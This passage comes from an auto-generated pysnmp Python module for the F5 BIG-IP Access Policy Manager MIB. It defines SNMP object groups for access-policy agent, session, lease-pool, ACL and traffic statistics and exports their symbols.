("F5-BIGIP-APM-MIB", "apmPaStatEpsWinPwTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinPwTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinPwTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinPwTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinRcAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinRcAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinRcAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinRcAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinRcAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinRcAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinGpAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinGpAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinGpAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinGpAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinGpAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinGpAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatExternalLogonAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatExternalLogonAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatExternalLogonAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatExternalLogonAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatExternalLogonAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatExternalLogonAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatLogonAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatLogonAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatLogonAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatLogonAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatLogonAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatLogonAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatRaAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatRaAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatRaAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatRaAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatRaAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatRaAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatRdsAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatRdsAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatRdsAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatRdsAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatRdsAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatRdsAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatVaAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatVaAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatVaAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatVaAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatVaAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatVaAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatIeAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatIeAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatIeAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatIeAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatIeAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatIeAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatLoggingAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatLoggingAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatLoggingAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatLoggingAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatLoggingAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatLoggingAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatDecnBoxAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatDecnBoxAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatDecnBoxAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatDecnBoxAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatDecnBoxAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatDecnBoxAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatMesgBoxAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatMesgBoxAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatMesgBoxAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatMesgBoxAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatMesgBoxAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatMesgBoxAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatApdNoResultErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatApdNoSessionErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatApdNoDeviceInfoErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatApdNoTokenErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatApdNoSigErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatApdTotalMismatchErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatApdInvalidSigErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatApdMcPipelineInitErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatApdMcSetSessVarErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatApdMcPipelineCloseErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatApdApResultErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatApdApInternalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatAllowedRequests"), ("F5-BIGIP-APM-MIB", "apmPaStatDeniedRequests"), ("F5-BIGIP-APM-MIB", "apmPaStatVsName")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): apmPaStatGroup = apmPaStatGroup.setStatus('current') apmPcStatGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 3375, 2, 5, 2, 6, 2)).setObjects(("F5-BIGIP-APM-MIB", "apmPcStatResetStats"), ("F5-BIGIP-APM-MIB", "apmPcStatNumber"), ("F5-BIGIP-APM-MIB", "apmPcStatName"), ("F5-BIGIP-APM-MIB", "apmPcStatTotConns"), ("F5-BIGIP-APM-MIB", "apmPcStatCurConns"), ("F5-BIGIP-APM-MIB", "apmPcStatMaxConns"), ("F5-BIGIP-APM-MIB", "apmPcStatIngressRaw"), ("F5-BIGIP-APM-MIB", "apmPcStatEgressRaw"), ("F5-BIGIP-APM-MIB", "apmPcStatIngressCompressed"), ("F5-BIGIP-APM-MIB", "apmPcStatEgressCompressed")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): apmPcStatGroup = apmPcStatGroup.setStatus('current') apmPrStatGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 3375, 2, 5, 2, 6, 3)).setObjects(("F5-BIGIP-APM-MIB", "apmPrStatResetStats"), ("F5-BIGIP-APM-MIB", "apmPrStatNumber"), ("F5-BIGIP-APM-MIB", "apmPrStatName"), ("F5-BIGIP-APM-MIB", "apmPrStatClientReqBytes"), ("F5-BIGIP-APM-MIB", "apmPrStatClientRespBytes"), ("F5-BIGIP-APM-MIB", "apmPrStatServerReqBytes"), ("F5-BIGIP-APM-MIB", "apmPrStatServerRespBytes"), ("F5-BIGIP-APM-MIB", "apmPrStatClientReqs"), ("F5-BIGIP-APM-MIB", "apmPrStatClientResps"), ("F5-BIGIP-APM-MIB", "apmPrStatServerReqs"), ("F5-BIGIP-APM-MIB", "apmPrStatServerResps")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): apmPrStatGroup = apmPrStatGroup.setStatus('current') apmPgStatGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 3375, 2, 5, 2, 6, 4)).setObjects(("F5-BIGIP-APM-MIB", "apmPgStatResetStats"), ("F5-BIGIP-APM-MIB", "apmPgStatNumber"), ("F5-BIGIP-APM-MIB", "apmPgStatName"), ("F5-BIGIP-APM-MIB", "apmPgStatAgentName"), ("F5-BIGIP-APM-MIB", "apmPgStatInstances"), ("F5-BIGIP-APM-MIB", "apmPgStatUsages"), ("F5-BIGIP-APM-MIB", "apmPgStatSuccesses"), ("F5-BIGIP-APM-MIB", "apmPgStatFailures"), ("F5-BIGIP-APM-MIB", "apmPgStatErrors"), ("F5-BIGIP-APM-MIB", "apmPgStatSessionVars")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): apmPgStatGroup = apmPgStatGroup.setStatus('current') apmPmStatGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 3375, 2, 5, 2, 6, 5)).setObjects(("F5-BIGIP-APM-MIB", "apmPmStatResetStats"), ("F5-BIGIP-APM-MIB", "apmPmStatNumber"), ("F5-BIGIP-APM-MIB", "apmPmStatName"), ("F5-BIGIP-APM-MIB", "apmPmStatConfigSyncState"), ("F5-BIGIP-APM-MIB", "apmPmStatInspResultError"), ("F5-BIGIP-APM-MIB", "apmPmStatInspSessionError"), ("F5-BIGIP-APM-MIB", "apmPmStatInspDeviceInfoError"), ("F5-BIGIP-APM-MIB", "apmPmStatInspTokenError"), ("F5-BIGIP-APM-MIB", "apmPmStatInspSignatureError"), ("F5-BIGIP-APM-MIB", "apmPmStatInspDataMsmtchError"), ("F5-BIGIP-APM-MIB", "apmPmStatInspClientSignError"), ("F5-BIGIP-APM-MIB", "apmPmStatMemInitError"), ("F5-BIGIP-APM-MIB", "apmPmStatMemSessionVarError"), ("F5-BIGIP-APM-MIB", "apmPmStatMemCloseError"), ("F5-BIGIP-APM-MIB", "apmPmStatResultError"), ("F5-BIGIP-APM-MIB", "apmPmStatInternalError")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): apmPmStatGroup = apmPmStatGroup.setStatus('current') apmAccessStatGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 3375, 2, 5, 2, 6, 6)).setObjects(("F5-BIGIP-APM-MIB", "apmAccessStatResetStats"), ("F5-BIGIP-APM-MIB", "apmAccessStatTotalSessions"), ("F5-BIGIP-APM-MIB", "apmAccessStatCurrentActiveSessions"), ("F5-BIGIP-APM-MIB", "apmAccessStatCurrentPendingSessions"), ("F5-BIGIP-APM-MIB", "apmAccessStatCurrentEndedSessions"), ("F5-BIGIP-APM-MIB", "apmAccessStatUserLoggedoutSessions"), ("F5-BIGIP-APM-MIB", "apmAccessStatAdminTerminatedSessions"), ("F5-BIGIP-APM-MIB", "apmAccessStatMiscTerminatedSessions"), ("F5-BIGIP-APM-MIB", "apmAccessStatResultAllow"), ("F5-BIGIP-APM-MIB", "apmAccessStatResultDeny"), ("F5-BIGIP-APM-MIB", "apmAccessStatResultRedirect"), ("F5-BIGIP-APM-MIB", "apmAccessStatResultRedirectWithSession")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): apmAccessStatGroup = apmAccessStatGroup.setStatus('current') apmGlobalConnectivityStatGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 3375, 2, 5, 2, 6, 7)).setObjects(("F5-BIGIP-APM-MIB", "apmGlobalConnectivityStatResetStats"), ("F5-BIGIP-APM-MIB", "apmGlobalConnectivityStatTotConns"), ("F5-BIGIP-APM-MIB", "apmGlobalConnectivityStatCurConns"), ("F5-BIGIP-APM-MIB", "apmGlobalConnectivityStatMaxConns"), ("F5-BIGIP-APM-MIB", "apmGlobalConnectivityStatIngressRaw"), ("F5-BIGIP-APM-MIB", "apmGlobalConnectivityStatEgressRaw"), ("F5-BIGIP-APM-MIB", "apmGlobalConnectivityStatIngressCompressed"), ("F5-BIGIP-APM-MIB", "apmGlobalConnectivityStatEgressCompressed")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): apmGlobalConnectivityStatGroup = apmGlobalConnectivityStatGroup.setStatus('current') apmGlobalRewriteStatGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 3375, 2, 5, 2, 6, 8)).setObjects(("F5-BIGIP-APM-MIB", "apmGlobalRewriteStatResetStats"), ("F5-BIGIP-APM-MIB", "apmGlobalRewriteStatClientReqBytes"), ("F5-BIGIP-APM-MIB", "apmGlobalRewriteStatClientRespBytes"), ("F5-BIGIP-APM-MIB", "apmGlobalRewriteStatServerReqBytes"), ("F5-BIGIP-APM-MIB", "apmGlobalRewriteStatServerRespBytes"), ("F5-BIGIP-APM-MIB", "apmGlobalRewriteStatClientReqs"), ("F5-BIGIP-APM-MIB", "apmGlobalRewriteStatClientResps"), ("F5-BIGIP-APM-MIB", "apmGlobalRewriteStatServerReqs"), ("F5-BIGIP-APM-MIB", "apmGlobalRewriteStatServerResps")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): apmGlobalRewriteStatGroup = apmGlobalRewriteStatGroup.setStatus('current') apmLeasepoolStatGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 3375, 2, 5, 2, 6, 9)).setObjects(("F5-BIGIP-APM-MIB", "apmLeasepoolStatResetStats"), ("F5-BIGIP-APM-MIB", "apmLeasepoolStatNumber"), ("F5-BIGIP-APM-MIB", "apmLeasepoolStatName"), ("F5-BIGIP-APM-MIB", "apmLeasepoolStatCurMembers"), ("F5-BIGIP-APM-MIB", "apmLeasepoolStatCurAssigned"), ("F5-BIGIP-APM-MIB", "apmLeasepoolStatCurFree"), ("F5-BIGIP-APM-MIB", "apmLeasepoolStatMaxAssigned"), ("F5-BIGIP-APM-MIB", "apmLeasepoolStatTotPickRequests"), ("F5-BIGIP-APM-MIB", "apmLeasepoolStatTotPickFailure"), ("F5-BIGIP-APM-MIB", "apmLeasepoolStatTotReserveRequests"), ("F5-BIGIP-APM-MIB", "apmLeasepoolStatTotReserveFailure"), ("F5-BIGIP-APM-MIB", "apmLeasepoolStatTotReleaseRequests"), ("F5-BIGIP-APM-MIB", "apmLeasepoolStatTotReleaseFailure")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): apmLeasepoolStatGroup = apmLeasepoolStatGroup.setStatus('current') apmAclStatGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 3375, 2, 5, 2, 6, 10)).setObjects(("F5-BIGIP-APM-MIB", "apmAclStatResetStats"), ("F5-BIGIP-APM-MIB", "apmAclStatNumber"), ("F5-BIGIP-APM-MIB", "apmAclStatName"), ("F5-BIGIP-APM-MIB", "apmAclStatActionAllow"), ("F5-BIGIP-APM-MIB", "apmAclStatActionContinue"), ("F5-BIGIP-APM-MIB", "apmAclStatActionDiscard"), ("F5-BIGIP-APM-MIB", "apmAclStatActionReject")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): apmAclStatGroup = apmAclStatGroup.setStatus('current') mibBuilder.exportSymbols("F5-BIGIP-APM-MIB", apmPaStatApdMcSetSessVarErrors=apmPaStatApdMcSetSessVarErrors, apmPaStatExternalLogonAgentTotalUsages=apmPaStatExternalLogonAgentTotalUsages, apmPaStatRadiusAgentTotalErrors=apmPaStatRadiusAgentTotalErrors, apmPaStatLogonAgentTotalUsages=apmPaStatLogonAgentTotalUsages, apmPcStatNumber=apmPcStatNumber, apmPrStatServerReqs=apmPrStatServerReqs, apmPaStatApdMcPipelineCloseErrors=apmPaStatApdMcPipelineCloseErrors, apmPaStatRadiusAcctAgentTotalFailures=apmPaStatRadiusAcctAgentTotalFailures, apmAccessStatResultDeny=apmAccessStatResultDeny, apmPaStatEpsWinCcAgentTotalFailures=apmPaStatEpsWinCcAgentTotalFailures, apmPaStatEpsMacFcAgentTotalErrors=apmPaStatEpsMacFcAgentTotalErrors, apmPaStatEpsFwcAgentTotalErrors=apmPaStatEpsFwcAgentTotalErrors, apmPaStatEpsWinRcAgentTotalSessVars=apmPaStatEpsWinRcAgentTotalSessVars, apmPaStatEpsWinPwTotalFailures=apmPaStatEpsWinPwTotalFailures, apmPcStatIngressRaw=apmPcStatIngressRaw, apmPaStatEpsWinGpAgentTotalUsages=apmPaStatEpsWinGpAgentTotalUsages, apmLeasepoolStatTotPickFailure=apmLeasepoolStatTotPickFailure, apmPaStatEpsFwcAgentTotalInstances=apmPaStatEpsFwcAgentTotalInstances, apmPaStatLoggingAgentTotalInstances=apmPaStatLoggingAgentTotalInstances, bigipApm=bigipApm, apmPmStatConfigSyncState=apmPmStatConfigSyncState, apmAccessStatGroup=apmAccessStatGroup, apmLeasepoolStatCurMembers=apmLeasepoolStatCurMembers, apmPmStatInspSessionError=apmPmStatInspSessionError, apmPaStatEndingAllowAgentTotalUsages=apmPaStatEndingAllowAgentTotalUsages, apmPaStatEpsWinGpAgentTotalFailures=apmPaStatEpsWinGpAgentTotalFailures, apmPaStatSecuridAgentTotalFailures=apmPaStatSecuridAgentTotalFailures, apmLeasepoolStatTotReserveRequests=apmLeasepoolStatTotReserveRequests, apmProfileAccessStat=apmProfileAccessStat, apmPaStatAccessPolicyResultRedirect=apmPaStatAccessPolicyResultRedirect, apmAclStatNumber=apmAclStatNumber, apmAclStatActionDiscard=apmAclStatActionDiscard, apmPaStatEndingAllowAgentTotalErrors=apmPaStatEndingAllowAgentTotalErrors, apmLeasepoolStatTable=apmLeasepoolStatTable, apmPgStatResetStats=apmPgStatResetStats, apmAccessStatResultRedirectWithSession=apmAccessStatResultRedirectWithSession, apmPaStatEndingAllowAgentTotalInstances=apmPaStatEndingAllowAgentTotalInstances, bigipApmCompliance=bigipApmCompliance, apmPaStatDecnBoxAgentTotalUsages=apmPaStatDecnBoxAgentTotalUsages, apmPaStatApdNoTokenErrors=apmPaStatApdNoTokenErrors, apmAclStatResetStats=apmAclStatResetStats, apmPaStatEpsWinRcAgentTotalUsages=apmPaStatEpsWinRcAgentTotalUsages, apmProfileAccessMiscStat=apmProfileAccessMiscStat, apmPaStatLogonAgentTotalSuccesses=apmPaStatLogonAgentTotalSuccesses, apmLeasepoolStatTotReserveFailure=apmLeasepoolStatTotReserveFailure, apmPrStatTable=apmPrStatTable, apmAclStatActionAllow=apmAclStatActionAllow, apmPaStatMesgBoxAgentTotalFailures=apmPaStatMesgBoxAgentTotalFailures, apmPaStatVaAgentTotalSuccesses=apmPaStatVaAgentTotalSuccesses, apmPaStatAdAgentTotalFailures=apmPaStatAdAgentTotalFailures, apmPaStatLoggingAgentTotalUsages=apmPaStatLoggingAgentTotalUsages, apmPgStatFailures=apmPgStatFailures, apmPaStatRdsAgentTotalSuccesses=apmPaStatRdsAgentTotalSuccesses, apmPcStatIngressCompressed=apmPcStatIngressCompressed, apmPaStatVaAgentTotalErrors=apmPaStatVaAgentTotalErrors, apmPaStatExternalLogonAgentTotalSessVars=apmPaStatExternalLogonAgentTotalSessVars, apmPaStatVaAgentTotalUsages=apmPaStatVaAgentTotalUsages, apmPcStatEntry=apmPcStatEntry, apmPaStatEpsLinuxPcAgentTotalSuccesses=apmPaStatEpsLinuxPcAgentTotalSuccesses, apmAccessStatResetStats=apmAccessStatResetStats, apmPaStatDecnBoxAgentTotalSuccesses=apmPaStatDecnBoxAgentTotalSuccesses, apmPaStatLdapAgentTotalFailures=apmPaStatLdapAgentTotalFailures, apmAclStatName=apmAclStatName, apmPaStatEpsWinPwTotalSuccesses=apmPaStatEpsWinPwTotalSuccesses, apmPaStatEpsMacPcAgentTotalSuccesses=apmPaStatEpsMacPcAgentTotalSuccesses, apmPaStatEndingDenyAgentTotalErrors=apmPaStatEndingDenyAgentTotalErrors, apmPaStatTotalSessions=apmPaStatTotalSessions, apmPaStatAdAgentTotalInstances=apmPaStatAdAgentTotalInstances, apmPaStatDecnBoxAgentTotalErrors=apmPaStatDecnBoxAgentTotalErrors, apmPaStatCurrentPendingSessions=apmPaStatCurrentPendingSessions, apmPaStatRaAgentTotalInstances=apmPaStatRaAgentTotalInstances, apmPaStatLdapAgentTotalSessVars=apmPaStatLdapAgentTotalSessVars, apmGlobalRewriteStatClientResps=apmGlobalRewriteStatClientResps, apmPaStatEpsWinGpAgentTotalErrors=apmPaStatEpsWinGpAgentTotalErrors, apmPaStatEntry=apmPaStatEntry, apmPaStatCurrentCompletedSessions=apmPaStatCurrentCompletedSessions, apmPaStatIeAgentTotalUsages=apmPaStatIeAgentTotalUsages, apmPaStatEpsWinRcAgentTotalSuccesses=apmPaStatEpsWinRcAgentTotalSuccesses, apmPaStatEpsWinFcAgentTotalUsages=apmPaStatEpsWinFcAgentTotalUsages, apmAclStatTable=apmAclStatTable, apmPgStatNumber=apmPgStatNumber, apmPaStatEpsLinuxFcAgentTotalSuccesses=apmPaStatEpsLinuxFcAgentTotalSuccesses, apmGlobalRewriteStatServerReqs=apmGlobalRewriteStatServerReqs, apmPaStatSecuridAgentTotalSessVars=apmPaStatSecuridAgentTotalSessVars, apmPaStatExternalLogonAgentTotalInstances=apmPaStatExternalLogonAgentTotalInstances, apmPaStatEpsLinuxPcAgentTotalFailures=apmPaStatEpsLinuxPcAgentTotalFailures, apmPaStatEndingRedirectAgentTotalSuccesses=apmPaStatEndingRedirectAgentTotalSuccesses, apmPaStatEndingAllowAgentTotalSuccesses=apmPaStatEndingAllowAgentTotalSuccesses, apmPaStatEpsMacPcAgentTotalErrors=apmPaStatEpsMacPcAgentTotalErrors, apmAccessStatMiscTerminatedSessions=apmAccessStatMiscTerminatedSessions, apmPaStatHttpAgentTotalInstances=apmPaStatHttpAgentTotalInstances, apmPaStatEpsWinCcAgentTotalUsages=apmPaStatEpsWinCcAgentTotalUsages, apmPaStatAdminTerminatedSessions=apmPaStatAdminTerminatedSessions, apmPaStatIeAgentTotalInstances=apmPaStatIeAgentTotalInstances, apmPaStatEpsMacPcAgentTotalFailures=apmPaStatEpsMacPcAgentTotalFailures, apmLeasepoolStatCurAssigned=apmLeasepoolStatCurAssigned, apmGlobalConnectivityStatMaxConns=apmGlobalConnectivityStatMaxConns, apmPrStatEntry=apmPrStatEntry, apmPaStatSecuridAgentTotalSuccesses=apmPaStatSecuridAgentTotalSuccesses, apmPmStatMemInitError=apmPmStatMemInitError, apmPaStatApdNoSigErrors=apmPaStatApdNoSigErrors, apmAccessStatCurrentEndedSessions=apmAccessStatCurrentEndedSessions, apmPaStatEpsWinCcAgentTotalErrors=apmPaStatEpsWinCcAgentTotalErrors, apmPrStatResetStats=apmPrStatResetStats, apmPrStatNumber=apmPrStatNumber, apmLeasepoolStat=apmLeasepoolStat, apmAclStatGroup=apmAclStatGroup, apmPaStatRadiusAgentTotalFailures=apmPaStatRadiusAgentTotalFailures, apmPaStatApdApResultErrors=apmPaStatApdApResultErrors, apmPrStatClientReqBytes=apmPrStatClientReqBytes, apmGlobalConnectivityStatResetStats=apmGlobalConnectivityStatResetStats, apmPaStatMesgBoxAgentTotalErrors=apmPaStatMesgBoxAgentTotalErrors, apmPmStatInternalError=apmPmStatInternalError, apmPaStatAdAgentTotalErrors=apmPaStatAdAgentTotalErrors, apmPaStatEpsMacPcAgentTotalUsages=apmPaStatEpsMacPcAgentTotalUsages, apmLeasepool=apmLeasepool, apmPaStatEpsWinPcTotalInstances=apmPaStatEpsWinPcTotalInstances, apmPaStatEpsFwcAgentTotalSuccesses=apmPaStatEpsFwcAgentTotalSuccesses, apmPaStatClientCertAgentTotalUsages=apmPaStatClientCertAgentTotalUsages, apmPaStatEpsWinCcAgentTotalSuccesses=apmPaStatEpsWinCcAgentTotalSuccesses, apmPaStatRdsAgentTotalFailures=apmPaStatRdsAgentTotalFailures, apmPaStatVaAgentTotalInstances=apmPaStatVaAgentTotalInstances, apmPaStatRadiusAcctAgentTotalUsages=apmPaStatRadiusAcctAgentTotalUsages, apmPcStatEgressRaw=apmPcStatEgressRaw, apmPrStatServerRespBytes=apmPrStatServerRespBytes, apmPaStatEpsWinRcAgentTotalInstances=apmPaStatEpsWinRcAgentTotalInstances, apmPaStatEndingRedirectAgentTotalSessVars=apmPaStatEndingRedirectAgentTotalSessVars, apmAcl=apmAcl, apmPaStatEndingDenyAgentTotalFailures=apmPaStatEndingDenyAgentTotalFailures, apmPaStatEpsWinPwTotalUsages=apmPaStatEpsWinPwTotalUsages, apmAccessStatUserLoggedoutSessions=apmAccessStatUserLoggedoutSessions, apmPrStatName=apmPrStatName, apmGlobalConnectivityStatEgressRaw=apmGlobalConnectivityStatEgressRaw, apmAccessStatCurrentPendingSessions=apmAccessStatCurrentPendingSessions, apmPmStatMemCloseError=apmPmStatMemCloseError, apmPgStatErrors=apmPgStatErrors, apmPaStatEpsAvAgentTotalFailures=apmPaStatEpsAvAgentTotalFailures, apmPaStatEpsWinFcAgentTotalInstances=apmPaStatEpsWinFcAgentTotalInstances, apmPaStatApdNoResultErrors=apmPaStatApdNoResultErrors, apmPaStatSecuridAgentTotalErrors=apmPaStatSecuridAgentTotalErrors, apmGlobalConnectivityStatIngressRaw=apmGlobalConnectivityStatIngressRaw, apmPmStatResetStats=apmPmStatResetStats, apmPaStatRadiusAgentTotalSuccesses=apmPaStatRadiusAgentTotalSuccesses, apmPmStatGroup=apmPmStatGroup, apmGlobalRewriteStatClientRespBytes=apmGlobalRewriteStatClientRespBytes, apmPaStatEpsWinCcAgentTotalSessVars=apmPaStatEpsWinCcAgentTotalSessVars, apmPaStatLoggingAgentTotalErrors=apmPaStatLoggingAgentTotalErrors, apmPaStatIeAgentTotalSessVars=apmPaStatIeAgentTotalSessVars, apmPaStatRadiusAcctAgentTotalInstances=apmPaStatRadiusAcctAgentTotalInstances, apmPaStatVaAgentTotalFailures=apmPaStatVaAgentTotalFailures, apmPaStatEpsLinuxPcAgentTotalUsages=apmPaStatEpsLinuxPcAgentTotalUsages, apmPaStatRdsAgentTotalUsages=apmPaStatRdsAgentTotalUsages, apmPaStatRadiusAcctAgentTotalSessVars=apmPaStatRadiusAcctAgentTotalSessVars, apmPmStatInspDeviceInfoError=apmPmStatInspDeviceInfoError, apmPcStatTable=apmPcStatTable, apmPaStatEpsWinOsInfoAgentTotalSuccesses=apmPaStatEpsWinOsInfoAgentTotalSuccesses, PYSNMP_MODULE_ID=bigipApm, apmPaStatApdNoDeviceInfoErrors=apmPaStatApdNoDeviceInfoErrors, apmPaStatEpsMacFcAgentTotalFailures=apmPaStatEpsMacFcAgentTotalFailures, apmPaStatEpsLinuxFcAgentTotalUsages=apmPaStatEpsLinuxFcAgentTotalUsages, apmPaStatName=apmPaStatName, apmPaStatLdapAgentTotalSuccesses=apmPaStatLdapAgentTotalSuccesses, apmPaStatRaAgentTotalErrors=apmPaStatRaAgentTotalErrors, apmPaStatAdAgentTotalSuccesses=apmPaStatAdAgentTotalSuccesses, apmPrStatServerReqBytes=apmPrStatServerReqBytes, apmPgStatInstances=apmPgStatInstances, apmPaStatLogonAgentTotalErrors=apmPaStatLogonAgentTotalErrors, apmPaStatEpsMacFcAgentTotalSuccesses=apmPaStatEpsMacFcAgentTotalSuccesses, apmPaStatAdAgentTotalSessVars=apmPaStatAdAgentTotalSessVars, apmPaStatRdsAgentTotalErrors=apmPaStatRdsAgentTotalErrors, apmPaStatEpsLinuxFcAgentTotalSessVars=apmPaStatEpsLinuxFcAgentTotalSessVars, apmPmStatInspSignatureError=apmPmStatInspSignatureError, apmPaStatEndingRedirectAgentTotalErrors=apmPaStatEndingRedirectAgentTotalErrors, apmPmStatName=apmPmStatName, apmPaStatApdApInternalErrors=apmPaStatApdApInternalErrors, apmPmStatResultError=apmPmStatResultError, apmPrStatClientRespBytes=apmPrStatClientRespBytes, apmPaStatHttpAgentTotalSuccesses=apmPaStatHttpAgentTotalSuccesses, apmPaStatIeAgentTotalErrors=apmPaStatIeAgentTotalErrors, apmPaStatApdNoSessionErrors=apmPaStatApdNoSessionErrors, apmPaStatApdMcPipelineInitErrors=apmPaStatApdMcPipelineInitErrors, apmPaStatHttpAgentTotalFailures=apmPaStatHttpAgentTotalFailures, apmPaStatEpsWinRcAgentTotalFailures=apmPaStatEpsWinRcAgentTotalFailures, apmPaStatRadiusAcctAgentTotalErrors=apmPaStatRadiusAcctAgentTotalErrors, apmPaStatEpsWinMcAgentTotalSessVars=apmPaStatEpsWinMcAgentTotalSessVars, apmPaStatEpsAvAgentTotalInstances=apmPaStatEpsAvAgentTotalInstances, apmLeasepoolStatName=apmLeasepoolStatName, apmPaStatRaAgentTotalSuccesses=apmPaStatRaAgentTotalSuccesses, apmPaStatRadiusAgentTotalUsages=apmPaStatRadiusAgentTotalUsages, apmPaStatApdTotalMismatchErrors=apmPaStatApdTotalMismatchErrors, apmPrStatGroup=apmPrStatGroup, apmPcStatTotConns=apmPcStatTotConns, apmPaStatEpsWinFcAgentTotalSessVars=apmPaStatEpsWinFcAgentTotalSessVars, apmPaStatEpsFwcAgentTotalUsages=apmPaStatEpsFwcAgentTotalUsages, apmPaStatIeAgentTotalFailures=apmPaStatIeAgentTotalFailures, apmPmStatInspTokenError=apmPmStatInspTokenError, 